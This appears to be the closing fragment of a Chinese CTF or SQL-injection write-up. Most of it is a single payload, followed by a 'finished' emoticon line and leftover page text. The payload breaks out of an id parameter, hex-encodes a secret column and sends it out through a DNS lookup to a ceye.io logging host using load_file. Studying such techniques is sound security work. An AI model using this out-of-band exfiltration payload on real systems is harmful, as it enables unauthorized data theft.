?id=1") and load_file(concat('\\\\',(select hex(group_concat(secret_CD2T)) from n3k5u3zyuo),'.mat781.ceye.io//volcano'))--+

完结撒花~★,°:.☆( ̄▽ ̄)/$:.°★ 。
1327

被折叠的 条评论
为什么被折叠?



